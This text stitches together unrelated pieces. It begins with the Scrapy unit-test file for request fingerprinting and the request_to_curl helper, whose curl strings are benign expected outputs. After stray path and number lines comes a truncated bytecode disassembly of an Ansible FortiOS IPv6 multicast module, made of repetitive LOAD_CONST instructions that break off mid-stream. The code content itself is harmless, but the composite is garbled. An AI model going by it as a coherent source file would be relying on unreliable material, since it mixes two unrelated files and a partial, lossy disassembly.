test_query_string_key_without_value(self): r1 = Request("http://www.example.com/hnnoticiaj1.aspx?78132,199") r2 = Request("http://www.example.com/hnnoticiaj1.aspx?78160,199") self.assertNotEqual(self.function(r1), self.function(r2)) def test_caching(self): r1 = Request("http://www.example.com/hnnoticiaj1.aspx?78160,199") self.assertEqual(self.function(r1), self.cache[r1][self.default_cache_key]) def test_header(self): r1 = Request("http://www.example.com/members/offers.html") r2 = Request("http://www.example.com/members/offers.html") r2.headers["SESSIONID"] = b"somehash" self.assertEqual(self.function(r1), self.function(r2)) def test_headers(self): r1 = Request("http://www.example.com/") r2 = Request("http://www.example.com/") r2.headers["Accept-Language"] = b"en" r3 = Request("http://www.example.com/") r3.headers["Accept-Language"] = b"en" r3.headers["SESSIONID"] = b"somehash" self.assertEqual(self.function(r1), self.function(r2), self.function(r3)) self.assertEqual( self.function(r1), self.function(r1, include_headers=["Accept-Language"]) ) self.assertNotEqual( self.function(r1), self.function(r2, include_headers=["Accept-Language"]) ) self.assertEqual( self.function(r3, include_headers=["accept-language", "sessionid"]), self.function(r3, include_headers=["SESSIONID", "Accept-Language"]), ) def test_fragment(self): r1 = Request("http://www.example.com/test.html") r2 = Request("http://www.example.com/test.html#fragment") self.assertEqual(self.function(r1), self.function(r2)) self.assertEqual(self.function(r1), self.function(r1, keep_fragments=True)) self.assertNotEqual(self.function(r2), self.function(r2, keep_fragments=True)) self.assertNotEqual(self.function(r1), self.function(r2, keep_fragments=True)) def test_method_and_body(self): r1 = Request("http://www.example.com") r2 = Request("http://www.example.com", method="POST") r3 = Request("http://www.example.com", method="POST", body=b"request body") self.assertNotEqual(self.function(r1), self.function(r2)) self.assertNotEqual(self.function(r2), self.function(r3)) def test_request_replace(self): r1 = Request("http://www.example.com") fp1 = self.function(r1) r2 = r1.replace(url="http://www.example.com/other") fp2 = self.function(r2) self.assertNotEqual(fp1, fp2) def test_part_separation(self): r1 = Request("http://www.example.com/foo") fp1 = self.function(r1) r2 = Request("http://www.example.com/f", body=b"oo") fp2 = self.function(r2) self.assertNotEqual(fp1, fp2) def test_hashes(self): """Test hardcoded hashes, to make sure future changes to not introduce backward incompatibilities.""" actual = [ self.function(request, **kwargs) for request, _, kwargs in self.known_hashes ] expected = [_fingerprint for _, _fingerprint, _ in self.known_hashes] self.assertEqual(actual, expected) class RequestFingerprintTest(FingerprintTest): function = staticmethod(request_fingerprint) cache = _deprecated_fingerprint_cache known_hashes: Tuple[Tuple[Request, Union[bytes, str], Dict], ...] = ( ( Request("http://example.org"), "b2e5245ef826fd9576c93bd6e392fce3133fab62", {}, ), ( Request("https://example.org"), "bd10a0a89ea32cdee77917320f1309b0da87e892", {}, ), ( Request("https://example.org?a"), "2fb7d48ae02f04b749f40caa969c0bc3c43204ce", {}, ), ( Request("https://example.org?a=b"), "42e5fe149b147476e3f67ad0670c57b4cc57856a", {}, ), ( Request("https://example.org?a=b&a"), "d23a9787cb56c6375c2cae4453c5a8c634526942", {}, ), ( Request("https://example.org?a=b&a=c"), "9a18a7a8552a9182b7f1e05d33876409e421e5c5", {}, ), ( Request("https://example.org", method="POST"), "ba20a80cb5c5ca460021ceefb3c2467b2bfd1bc6", {}, ), ( Request("https://example.org", body=b"a"), "4bb136e54e715a4ea7a9dd1101831765d33f2d60", {}, ), ( Request("https://example.org", method="POST", body=b"a"), "6c6595374a304b293be762f7b7be3f54e9947c65", {}, ), ( Request("https://example.org#a", headers={"A": b"B"}), "bd10a0a89ea32cdee77917320f1309b0da87e892", {}, ), ( Request("https://example.org#a", headers={"A": b"B"}), "515b633cb3ca502a33a9d8c890e889ec1e425e65", {"include_headers": ["A"]}, ), ( Request("https://example.org#a", headers={"A": b"B"}), "505c96e7da675920dfef58725e8c957dfdb38f47", {"keep_fragments": True}, ), ( Request("https://example.org#a", headers={"A": b"B"}), "d6f673cdcb661b7970c2b9a00ee63e87d1e2e5da", {"include_headers": ["A"], "keep_fragments": True}, ), ( Request("https://example.org/ab"), "4e2870fee58582d6f81755e9b8fdefe3cba0c951", {}, ), ( Request("https://example.org/a", body=b"b"), "4e2870fee58582d6f81755e9b8fdefe3cba0c951", {}, ), ) def setUp(self) -> None: warnings.simplefilter("ignore", ScrapyDeprecationWarning) def tearDown(self) -> None: warnings.simplefilter("default", ScrapyDeprecationWarning) @pytest.mark.xfail(reason="known bug kept for backward compatibility", strict=True) def test_part_separation(self): super().test_part_separation() class RequestFingerprintDeprecationTest(unittest.TestCase): def test_deprecation_default_parameters(self): with pytest.warns(ScrapyDeprecationWarning) as warnings: request_fingerprint(Request("http://www.example.com")) messages = [str(warning.message) for warning in warnings] self.assertTrue( any("Call to deprecated function" in message for message in messages) ) self.assertFalse(any("non-default" in message for message in messages)) def test_deprecation_non_default_parameters(self): with pytest.warns(ScrapyDeprecationWarning) as warnings: request_fingerprint(Request("http://www.example.com"), keep_fragments=True) messages = [str(warning.message) for warning in warnings] self.assertTrue( any("Call to deprecated function" in message for message in messages) ) self.assertTrue(any("non-default" in message for message in messages)) class RequestFingerprintAsBytesTest(FingerprintTest): function = staticmethod(_request_fingerprint_as_bytes) cache = _deprecated_fingerprint_cache known_hashes = RequestFingerprintTest.known_hashes def test_caching(self): r1 = Request("http://www.example.com/hnnoticiaj1.aspx?78160,199") self.assertEqual( self.function(r1), bytes.fromhex(self.cache[r1][self.default_cache_key]) ) @pytest.mark.xfail(reason="known bug kept for backward compatibility", strict=True) def test_part_separation(self): super().test_part_separation() def test_hashes(self): actual = [ self.function(request, **kwargs) for request, _, kwargs in self.known_hashes ] expected = [ bytes.fromhex(_fingerprint) for _, _fingerprint, _ in self.known_hashes ] self.assertEqual(actual, expected) _fingerprint_cache_2_6: Mapping[Request, Tuple[None, bool]] = WeakKeyDictionary() def request_fingerprint_2_6(request, include_headers=None, keep_fragments=False): if include_headers: include_headers = tuple(to_bytes(h.lower()) for h in sorted(include_headers)) cache = _fingerprint_cache_2_6.setdefault(request, {}) cache_key = (include_headers, keep_fragments) if cache_key not in cache: fp = sha1() fp.update(to_bytes(request.method)) fp.update( to_bytes(canonicalize_url(request.url, keep_fragments=keep_fragments)) ) fp.update(request.body or b"") if include_headers: for hdr in include_headers: if hdr in request.headers: fp.update(hdr) for v in request.headers.getlist(hdr): fp.update(v) cache[cache_key] = fp.hexdigest() return cache[cache_key] REQUEST_OBJECTS_TO_TEST = ( Request("http://www.example.com/"), Request("http://www.example.com/query?id=111&cat=222"), Request("http://www.example.com/query?cat=222&id=111"), Request("http://www.example.com/hnnoticiaj1.aspx?78132,199"), Request("http://www.example.com/hnnoticiaj1.aspx?78160,199"), Request("http://www.example.com/members/offers.html"), Request( "http://www.example.com/members/offers.html", headers={"SESSIONID": b"somehash"}, ), Request( "http://www.example.com/", headers={"Accept-Language": b"en"}, ), Request( "http://www.example.com/", headers={ "Accept-Language": b"en", "SESSIONID": b"somehash", }, ), Request("http://www.example.com/test.html"), Request("http://www.example.com/test.html#fragment"), Request("http://www.example.com", method="POST"), Request("http://www.example.com", method="POST", body=b"request body"), ) class BackwardCompatibilityTestCase(unittest.TestCase): def test_function_backward_compatibility(self): include_headers_to_test = ( None, ["Accept-Language"], ["accept-language", "sessionid"], ["SESSIONID", "Accept-Language"], ) for request_object in REQUEST_OBJECTS_TO_TEST: for include_headers in include_headers_to_test: for keep_fragments in (False, True): with warnings.catch_warnings(): warnings.simplefilter("ignore") fp = request_fingerprint( request_object, include_headers=include_headers, keep_fragments=keep_fragments, ) old_fp = request_fingerprint_2_6( request_object, include_headers=include_headers, keep_fragments=keep_fragments, ) self.assertEqual(fp, old_fp) def test_component_backward_compatibility(self): for request_object in REQUEST_OBJECTS_TO_TEST: with warnings.catch_warnings(): warnings.simplefilter("ignore") crawler = get_crawler(prevent_warnings=False) fp = crawler.request_fingerprinter.fingerprint(request_object) old_fp = request_fingerprint_2_6(request_object) self.assertEqual(fp.hex(), old_fp) def test_custom_component_backward_compatibility(self): """Tests that the backward-compatible request fingerprinting class featured in the documentation is indeed backward compatible and does not cause a warning to be logged.""" class RequestFingerprinter: cache = WeakKeyDictionary() def fingerprint(self, request): if request not in self.cache: fp = sha1() fp.update(to_bytes(request.method)) fp.update(to_bytes(canonicalize_url(request.url))) fp.update(request.body or b"") self.cache[request] = fp.digest() return self.cache[request] for request_object in REQUEST_OBJECTS_TO_TEST: with warnings.catch_warnings() as logged_warnings: settings = { "REQUEST_FINGERPRINTER_CLASS": RequestFingerprinter, } crawler = get_crawler(settings_dict=settings) fp = crawler.request_fingerprinter.fingerprint(request_object) old_fp = request_fingerprint_2_6(request_object) self.assertEqual(fp.hex(), old_fp) self.assertFalse(logged_warnings) class RequestFingerprinterTestCase(unittest.TestCase): def test_default_implementation(self): with warnings.catch_warnings(record=True) as logged_warnings: crawler = get_crawler(prevent_warnings=False) request = Request("https://example.com") self.assertEqual( crawler.request_fingerprinter.fingerprint(request), _request_fingerprint_as_bytes(request), ) self.assertTrue(logged_warnings) def test_deprecated_implementation(self): settings = { "REQUEST_FINGERPRINTER_IMPLEMENTATION": "2.6", } with warnings.catch_warnings(record=True) as logged_warnings: crawler = get_crawler(settings_dict=settings) request = Request("https://example.com") self.assertEqual( crawler.request_fingerprinter.fingerprint(request), _request_fingerprint_as_bytes(request), ) self.assertTrue(logged_warnings) def test_recommended_implementation(self): settings = { "REQUEST_FINGERPRINTER_IMPLEMENTATION": "2.7", } with warnings.catch_warnings(record=True) as logged_warnings: crawler = get_crawler(settings_dict=settings) request = Request("https://example.com") self.assertEqual( crawler.request_fingerprinter.fingerprint(request), fingerprint(request), ) self.assertFalse(logged_warnings) def test_unknown_implementation(self): settings = { "REQUEST_FINGERPRINTER_IMPLEMENTATION": "2.5", } with self.assertRaises(ValueError): get_crawler(settings_dict=settings) class CustomRequestFingerprinterTestCase(unittest.TestCase): def test_include_headers(self): class RequestFingerprinter: def fingerprint(self, request): return fingerprint(request, include_headers=["X-ID"]) settings = { "REQUEST_FINGERPRINTER_CLASS": RequestFingerprinter, } crawler = get_crawler(settings_dict=settings) r1 = Request("http://www.example.com", headers={"X-ID": "1"}) fp1 = crawler.request_fingerprinter.fingerprint(r1) r2 = Request("http://www.example.com", headers={"X-ID": "2"}) fp2 = crawler.request_fingerprinter.fingerprint(r2) self.assertNotEqual(fp1, fp2) def test_dont_canonicalize(self): class RequestFingerprinter: cache = WeakKeyDictionary() def fingerprint(self, request): if request not in self.cache: fp = sha1() fp.update(to_bytes(request.url)) self.cache[request] = fp.digest() return self.cache[request] settings = { "REQUEST_FINGERPRINTER_CLASS": RequestFingerprinter, } crawler = get_crawler(settings_dict=settings) r1 = Request("http://www.example.com?a=1&a=2") fp1 = crawler.request_fingerprinter.fingerprint(r1) r2 = Request("http://www.example.com?a=2&a=1") fp2 = crawler.request_fingerprinter.fingerprint(r2) self.assertNotEqual(fp1, fp2) def test_meta(self): class RequestFingerprinter: def fingerprint(self, request): if "fingerprint" in request.meta: return request.meta["fingerprint"] return fingerprint(request) settings = { "REQUEST_FINGERPRINTER_CLASS": RequestFingerprinter, } crawler = get_crawler(settings_dict=settings) r1 = Request("http://www.example.com") fp1 = crawler.request_fingerprinter.fingerprint(r1) r2 = Request("http://www.example.com", meta={"fingerprint": "a"}) fp2 = crawler.request_fingerprinter.fingerprint(r2) r3 = Request("http://www.example.com", meta={"fingerprint": "a"}) fp3 = crawler.request_fingerprinter.fingerprint(r3) r4 = Request("http://www.example.com", meta={"fingerprint": "b"}) fp4 = crawler.request_fingerprinter.fingerprint(r4) self.assertNotEqual(fp1, fp2) self.assertNotEqual(fp1, fp4) self.assertNotEqual(fp2, fp4) self.assertEqual(fp2, fp3) def test_from_crawler(self): class RequestFingerprinter: @classmethod def from_crawler(cls, crawler): return cls(crawler) def __init__(self, crawler): self._fingerprint = crawler.settings["FINGERPRINT"] def fingerprint(self, request): return self._fingerprint settings = { "REQUEST_FINGERPRINTER_CLASS": RequestFingerprinter, "FINGERPRINT": b"fingerprint", } crawler = get_crawler(settings_dict=settings) request = Request("http://www.example.com") fingerprint = crawler.request_fingerprinter.fingerprint(request) self.assertEqual(fingerprint, settings["FINGERPRINT"]) def test_from_settings(self): class RequestFingerprinter: @classmethod def from_settings(cls, settings): return cls(settings) def __init__(self, settings): self._fingerprint = settings["FINGERPRINT"] def fingerprint(self, request): return self._fingerprint settings = { "REQUEST_FINGERPRINTER_CLASS": RequestFingerprinter, "FINGERPRINT": b"fingerprint", } crawler = get_crawler(settings_dict=settings) request = Request("http://www.example.com") fingerprint = crawler.request_fingerprinter.fingerprint(request) self.assertEqual(fingerprint, settings["FINGERPRINT"]) def test_from_crawler_and_settings(self): class RequestFingerprinter: @classmethod def from_settings(cls, settings): return cls(settings) @classmethod def from_crawler(cls, crawler): return cls(crawler) def __init__(self, crawler): self._fingerprint = crawler.settings["FINGERPRINT"] def fingerprint(self, request): return self._fingerprint settings = { "REQUEST_FINGERPRINTER_CLASS": RequestFingerprinter, "FINGERPRINT": b"fingerprint", } crawler = get_crawler(settings_dict=settings) request = Request("http://www.example.com") fingerprint = crawler.request_fingerprinter.fingerprint(request) self.assertEqual(fingerprint, settings["FINGERPRINT"]) class RequestToCurlTest(unittest.TestCase): def _test_request(self, request_object, expected_curl_command): curl_command = request_to_curl(request_object) self.assertEqual(curl_command, expected_curl_command) def test_get(self): request_object = Request("https://www.example.com") expected_curl_command = "curl -X GET https://www.example.com" self._test_request(request_object, expected_curl_command) def test_post(self): request_object = Request( "https://www.httpbin.org/post", method="POST", body=json.dumps({"foo": "bar"}), ) expected_curl_command = ( 'curl -X POST https://www.httpbin.org/post --data-raw \'{"foo": "bar"}\'' ) self._test_request(request_object, expected_curl_command) def test_headers(self): request_object = Request( "https://www.httpbin.org/post", method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, body=json.dumps({"foo": "bar"}), ) expected_curl_command = ( "curl -X POST https://www.httpbin.org/post" ' --data-raw \'{"foo": "bar"}\'' " -H 'Content-Type: application/json' -H 'Accept: application/json'" ) self._test_request(request_object, expected_curl_command) def test_cookies_dict(self): request_object = Request( "https://www.httpbin.org/post", method="POST", cookies={"foo": "bar"}, body=json.dumps({"foo": "bar"}), ) expected_curl_command = ( "curl -X POST https://www.httpbin.org/post" " --data-raw '{\"foo\": \"bar\"}' --cookie 'foo=bar'" ) self._test_request(request_object, expected_curl_command) def test_cookies_list(self): request_object = Request( "https://www.httpbin.org/post", method="POST", cookies=[{"foo": "bar"}], body=json.dumps({"foo": "bar"}), ) expected_curl_command = ( "curl -X POST https://www.httpbin.org/post" " --data-raw '{\"foo\": \"bar\"}' --cookie 'foo=bar'" ) self._test_request(request_object, expected_curl_command) if __name__ == "__main__": unittest.main()
data/Scrapy-2.11.1/tests/test_utils_request.py
17,797
9,018
332,334
LOAD_CONST 0 LOAD_CONST ('absolute_import', 'division', 'print_function') IMPORT_NAME __future__ IMPORT_FROM absolute_import STORE_NAME absolute_import IMPORT_FROM division STORE_NAME division IMPORT_FROM print_function STORE_NAME print_function POP_TOP LOAD_NAME type STORE_NAME __metaclass__ LOAD_CONST 'preview' BUILD_LIST LOAD_CONST 'community' LOAD_CONST '1.1' LOAD_CONST ('status', 'supported_by', 'metadata_version') BUILD_CONST_KEY_MAP STORE_NAME ANSIBLE_METADATA LOAD_CONST '\n---\nmodule: fortios_router_multicast6\nshort_description: Configure IPv6 multicast in Fortinet\'s FortiOS and FortiGate.\ndescription:\n - This module is able to configure a FortiGate or FortiOS (FOS) device by allowing the\n user to set and modify router feature and multicast6 category.\n Examples include all parameters and values need to be adjusted to datasources before usage.\n Tested with FOS v6.0.0\nversion_added: "2.0.0"\nauthor:\n - Link Zheng (@chillancezen)\n - Jie Xue (@JieX19)\n - Hongbin Lu (@fgtdev-hblu)\n - Frank Shen (@frankshen01)\n - Miguel Angel Munoz (@mamunozgonzalez)\n - Nicolas Thomas (@thomnico)\nnotes:\n - Legacy fortiosapi has been deprecated, httpapi is the preferred way to run playbooks\n\nrequirements:\n - ansible>=2.14\noptions:\n access_token:\n description:\n - Token-based authentication.\n Generated from GUI of Fortigate.\n type: str\n required: false\n enable_log:\n description:\n - Enable/Disable logging for task.\n type: bool\n required: false\n default: false\n vdom:\n description:\n - Virtual domain, among those defined previously. A vdom is a\n virtual instance of the FortiGate that can be configured and\n used as a different unit.\n type: str\n default: root\n member_path:\n type: str\n description:\n - Member attribute path to operate on.\n - Delimited by a slash character if there are more than one attribute.\n - Parameter marked with member_path is legitimate for doing member operation.\n member_state:\n type: str\n description:\n - Add or delete a member under specified attribute path.\n - When member_state is specified, the state option is ignored.\n choices:\n - \'present\'\n - \'absent\'\n\n router_multicast6:\n description:\n - Configure IPv6 multicast.\n default: null\n type: dict\n suboptions:\n interface:\n description:\n - Protocol Independent Multicast (PIM) interfaces.\n type: list\n elements: dict\n suboptions:\n hello_holdtime:\n description:\n - Time before old neighbor information expires in seconds (1 - 65535).\n type: int\n hello_interval:\n description:\n - Interval between sending PIM hello messages in seconds (1 - 65535).\n type: int\n name:\n description:\n - Interface name. Source system.interface.name.\n required: true\n type: str\n multicast_pmtu:\n description:\n - Enable/disable PMTU for IPv6 multicast.\n type: str\n choices:\n - \'enable\'\n - \'disable\'\n multicast_routing:\n description:\n - Enable/disable IPv6 multicast routing.\n type: str\n choices:\n - \'enable\'\n - \'disable\'\n pim_sm_global:\n description:\n - PIM sparse-mode global settings.\n type: dict\n suboptions:\n register_rate_limit:\n description:\n - Limit of packets/sec per source registered through this RP (0 means unlimited).\n type: int\n rp_address:\n description:\n - Statically configured RP addresses.\n type: list\n elements: dict\n suboptions:\n id:\n description:\n - ID of the entry. see <a href=\'#notes\'>Notes</a>.\n required: true\n type: int\n ip6_address:\n description:\n - RP router IPv6 address.\n type: str\n' STORE_NAME DOCUMENTATION LOAD_CONST '\n- hosts: fortigates\n collections:\n - fortinet.fortios\n connection: httpapi\n vars:\n vdom: "root"\n ansible_httpapi_use_ssl: yes\n ansible_httpapi_validate_certs: no\n ansible_httpapi_port: 443\n tasks:\n - name: Configure IPv6 multicast.\n fortios_router_multicast6:\n vdom: "{{ vdom }}"\n router_multicast6:\n interface:\n -\n hello_holdtime: ""\n hello_interval: "30"\n name: "default_name_6 (source system.interface.name)"\n multicast_pmtu: "enable"\n multicast_routing: "enable"\n pim_sm_global:\n register_rate_limit: "0"\n rp_address:\n -\n id: "12"\n ip6_address: "<your_own_value>"\n\n' STORE_NAME EXAMPLES LOAD_CONST '\nbuild:\n description: Build number of the fortigate image\n returned: always\n type: str\n sample: \'1547\'\nhttp_method:\n description: Last method used to provision the content into FortiGate\n returned: always\n type: str\n sample: \'PUT\'\nhttp_status:\n description: Last result given by FortiGate on last operation applied\n returned: always\n type: str\n sample: "200"\nmkey:\n description: Master key (id) used in the last call to FortiGate\n returned: success\n type: str\n sample: "id"\nname:\n description: Name of the table used to fulfill the request\n returned: always\n type: str\n sample: "urlfilter"\npath:\n description: Path of the table used to fulfill the request\n returned: always\n type: str\n sample: "webfilter"\nrevision:\n description: Internal revision number\n returned: always\n type: str\n sample: "17.0.2.10658"\nserial:\n description: Serial number of the unit\n returned: always\n type: str\n sample: "FGVMEVYYQT3AB5352"\nstatus:\n description: Indication of the operation\'s result\n returned: always\n type: str\n sample: "success"\nvdom:\n description: Virtual domain used\n returned: always\n type: str\n sample: "root"\nversion:\n description: Version of the FortiGate\n returned: always\n type: str\n sample: "v5.6.3"\n\n' STORE_NAME RETURN LOAD_CONST 0 LOAD_CONST ('AnsibleModule',) IMPORT_NAME ansible.module_utils.basic IMPORT_FROM AnsibleModule STORE_NAME AnsibleModule POP_TOP LOAD_CONST 0 LOAD_CONST ('Connection',) IMPORT_NAME ansible.module_utils.connection IMPORT_FROM Connection STORE_NAME Connection POP_TOP LOAD_CONST 0 LOAD_CONST ('FortiOSHandler',) IMPORT_NAME ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios IMPORT_FROM FortiOSHandler STORE_NAME FortiOSHandler POP_TOP LOAD_CONST 0 LOAD_CONST ('check_legacy_fortiosapi',) IMPORT_NAME ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios IMPORT_FROM check_legacy_fortiosapi STORE_NAME check_legacy_fortiosapi POP_TOP LOAD_CONST 0 LOAD_CONST ('schema_to_module_spec',) IMPORT_NAME ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios IMPORT_FROM schema_to_module_spec STORE_NAME schema_to_module_spec POP_TOP LOAD_CONST 0 LOAD_CONST ('check_schema_versioning',) IMPORT_NAME ansible_collections.fortinet.fortios.plugins.module_utils.fortios.fortios IMPORT_FROM check_schema_versioning STORE_NAME check_schema_versioning POP_TOP LOAD_CONST 0 LOAD_CONST ('FAIL_SOCKET_MSG',) IMPORT_NAME ansible_collections.fortinet.fortios.plugins.module_utils.fortimanager.common IMPORT_FROM FAIL_SOCKET_MSG STORE_NAME FAIL_SOCKET_MSG POP_TOP LOAD_CONST 0 LOAD_CONST ('remove_invalid_fields',) IMPORT_NAME ansible_collections.fortinet.fortios.plugins.module_utils.fortios.data_post_processor IMPORT_FROM remove_invalid_fields STORE_NAME remove_invalid_fields POP_TOP LOAD_CONST <code object filter_router_multicast6_data at 0x7f8aef881b70, file "f.py", line 245> LOAD_CONST 'filter_router_multicast6_data' MAKE_FUNCTION STORE_NAME filter_router_multicast6_data LOAD_CONST <code object underscore_to_hyphen at 0x7f8aef881db0, file "f.py", line 258> LOAD_CONST 'underscore_to_hyphen' MAKE_FUNCTION STORE_NAME underscore_to_hyphen LOAD_CONST <code object router_multicast6 at 0x7f8aef881c90, file "f.py", line 271> LOAD_CONST 'router_multicast6' MAKE_FUNCTION STORE_NAME router_multicast6 LOAD_CONST <code object is_successful_status at 0x7f8aef881d20, file "f.py", line 281> LOAD_CONST 'is_successful_status' MAKE_FUNCTION STORE_NAME is_successful_status LOAD_CONST <code object fortios_router at 0x7f8aef881780, file "f.py", line 293> LOAD_CONST 'fortios_router' MAKE_FUNCTION STORE_NAME fortios_router LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST 'dict' LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST 'string' LOAD_CONST 'enable' LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST ('value', 'revisions') BUILD_CONST_KEY_MAP LOAD_CONST 'disable' LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST ('value', 'revisions') BUILD_CONST_KEY_MAP BUILD_LIST LOAD_CONST ('revisions', 'type', 'options') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST 'string' LOAD_CONST 'enable' LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST ('value', 'revisions') BUILD_CONST_KEY_MAP LOAD_CONST 'disable' LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST ('v7.4.1', 'v7.4.0', 'v7.2.4', 'v7.2.2', 'v7.2.1', 'v7.2.0', 'v7.0.8', 'v7.0.7', 'v7.0.6', 'v7.0.5', 'v7.0.4', 'v7.0.3', 'v7.0.2', 'v7.0.12', 'v7.0.1', 'v7.0.0', 'v6.4.4', 'v6.4.1', 'v6.4.0', 'v6.2.7', 'v6.2.5', 'v6.2.3', 'v6.2.0', 'v6.0.5', 'v6.0.11', 'v6.0.0') BUILD_CONST_KEY_MAP LOAD_CONST ('value', 'revisions') BUILD_CONST_KEY_MAP BUILD_LIST LOAD_CONST ('revisions', 'type', 'options') BUILD_CONST_KEY_MAP LOAD_CONST 'list' LOAD_CONST 'dict' LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True LOAD_CONST True 